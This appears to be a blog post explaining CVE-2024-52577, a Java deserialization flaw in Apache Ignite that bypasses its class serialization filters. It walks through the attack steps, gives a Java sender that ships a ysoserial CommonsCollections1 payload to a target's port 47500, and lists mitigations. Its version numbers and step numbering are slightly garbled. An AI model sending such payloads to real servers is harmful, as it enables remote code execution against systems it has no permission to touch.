Apache Ignite is a popular in-memory computing platform, used widely for distributed database, caching, and computing workloads. Recently, a serious security flaw has been discovered: CVE-2024-52577. This vulnerability affects Ignite versions from 2.6. up to (but not including) 2.17.. If not patched, it opens the door for an attacker to execute any code they want on your Ignite server.

In this post, we’ll break down the problem using simple language, show exactly how it works, and share code and references for those who want to understand or test it for themselves.

What's the Problem?

Ignite lets you pass Java objects between nodes, so it relies on Java serialization and deserialization. To prevent dangerous attacks, Ignite added Class Serialization Filters, blocking deserialization of risky object types.

Unfortunately, CVE-2024-52577 was discovered because these filters do not work for some Ignite endpoints. If an attacker discovers such an open endpoint, they can send custom-made (crafted) Java objects to your Ignite server. If the Java class of that object is present on your server (in its classpath), Ignite will deserialize it—even if you thought your filters protected you.

Deserialization without checks is like playing Russian roulette with your system: attackers can slip in a class that runs *their* code, not yours.

Java: Ignite runs on JVM; known deserialization gadgets and techniques work here.

- Exposure: If your Ignite cluster exposes endpoints (services or networking interfaces) reachable from outside your trusted network, an attacker can exploit them.

Attacker finds an open Ignite endpoint (for instance, a TCP port).

2. Attacker creates a Java object belonging to a class present on the Ignite server. This class is a “gadget” that, when deserialized, does something harmful (for example, runs a system command).

Attacker sends this message to the server.

5. Server deserializes it (since the filter is not applied here), and any malicious code in the class’s readObject or other deserialization-related methods will execute with server permissions.

Exploit Example (Code)

This is an educational snippet to show how such attacks are built. It assumes you control the code on both client (attacker) and server, and have a “gadget” class available, like the infamous CommonsCollections1 from ysoserial.

// Build & send a malicious serialized object to a vulnerable Ignite endpoint
import java.io.*;
import java.net.Socket;

// Example: Use ysoserial to generate the payload with a remote command like: 
// java -jar ysoserial.jar CommonsCollections1 'touch /tmp/exploit' > exploit.ser

public class IgniteExploitSender {
    public static void main(String[] args) throws Exception {
        // Read the payload from file
        byte[] payload = readFile("exploit.ser");
        // Connect to the Ignite server's endpoint (default TCP port is 47500)
        try (Socket socket = new Socket("TARGET_IP", 47500);
             OutputStream out = socket.getOutputStream()) {
            out.write(payload);
            out.flush();
            System.out.println("Exploit sent.");
        }
    }
    private static byte[] readFile(String path) throws IOException {
        try (FileInputStream fis = new FileInputStream(path)) {
            return fis.readAllBytes();
        }
    }
}

> ⚠ WARNING: Never run such code against any system you do not own or have explicit permission to test.
> This can destroy, corrupt, or compromise data and systems.

Original References

- Apache Ignite Security Advisory - CVE-2024-52577
- CVE Report - CVE-2024-52577
- Official Fix and Release Notes for 2.17.

How to Protect Yourself

- Upgrade Ignite: The safest and fastest fix is to upgrade all affected Ignite servers to version 2.17. or newer.
- Firewall and Network Segmentation: Limit Ignite node-to-node communication to trusted networks only.

Conclusion

CVE-2024-52577 is a stark reminder: Java deserialization is inherently risky, especially in networked systems. Until you patch your Ignite servers, any attacker with network access and creativity could break in.

Don’t wait—patch now and audit your deployment. Don’t leave your Ignite cluster open to easy exploitation.

Timeline

Published on: 02/14/2025 10:15:09 UTC
Last modified on: 02/14/2025 17:15:16 UTC